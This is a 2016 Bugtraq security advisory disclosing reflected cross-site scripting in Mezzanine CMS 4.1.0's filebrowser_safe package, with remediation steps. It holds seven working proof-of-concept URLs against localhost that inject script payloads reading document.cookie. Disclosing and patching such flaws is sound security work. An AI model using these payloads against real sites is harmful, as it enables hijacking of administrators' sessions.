bugtraq - Mezzanine CMS 4.1.0 XSS

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Date: Wed, 3 Feb 2016 04:14:48 GMT
From: hyp3rlinx@...os.com
To: bugtraq@...urityfocus.com
Subject: Mezzanine CMS 4.1.0 XSS

[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/MEZZANINE-CMS-XSS.txt

Vendor:
===================
mezzanine.jupo.org

Product:
================
Mezzanine 4.1.0

Mezzanine is an open source CMS built using the python based Django framework.

Vulnerability Type:
===================
XSS

CVE Reference:
==============
N/A

Vulnerability Details:
=====================

XSS entry points exists within the filebrowser_safe package. 

In many areas throughout filebrowser, querystring parameters are passed directly into templates to form URLS for links and forms,
and these were not being escaped correctly, therefore allowing arbitrary JavaScript code to be injected.

In order to exploit this, a attacker would need to trick an authenticated administrator into clicking a malicious link
or viewing a malicious web page containing the XSS payload.

Resolution:
Upgrade right away (pip install -U filebrowser_safe).

If for some reason you're unable to upgrade seamlessly, here is the fix which you need to apply:
https://github.com/stephenmcd/filebrowser-safe/commit/14b30017d27ca6a952e1578ed8cecbb102979967

Exploit code(s):
===============

XSS 1)

http://localhost:8000/admin/media-library/rename/?ot=desc&o=date&filename=%22/%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E

XSS 2)

http://localhost:8000/admin/media-library/rename/?ot=desc&o=%22/%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&filename=

XSS 3)

http://localhost:8000/admin/media-library/rename/?ot=%22/%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&o=&filename=

XSS 4) 

http://localhost:8000/admin/media-library/browse/?ot=%22/%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&dir=gallery&o=date

XSS 5) 

http://localhost:8000/admin/media-library/upload/?ot=desc&dir=gallery&o=%3C%2Fscript%3E%3Cscript%3Ealert%28666%29%3C%2Fscript%3E

XSS 6) 

http://localhost:8000/admin/media-library/upload/?ot=%3C%2Fscript%3E%3Cscript%3Ealert%28%27XSS\n\nhyp3rlinx%27%29%3C%2Fscript%3E&dir=gallery&o=date

XSS 7)

http://localhost:8000/admin/media-library/upload//static/filebrowser/uploadify/?=%3C/script%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E

Disclosure Timeline:
=====================================
Vendor Notification: January 26, 2016
Feburary 2, 2016  : Public Disclosure

Exploitation Technique:
=======================
Remote

Severity Level:
================
High

Description:
=======================================================
Request Method(s):        [+]  GET

Vulnerable Product:       [+]  Mezzanine 4.1.0

=======================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.

by hyp3rlinx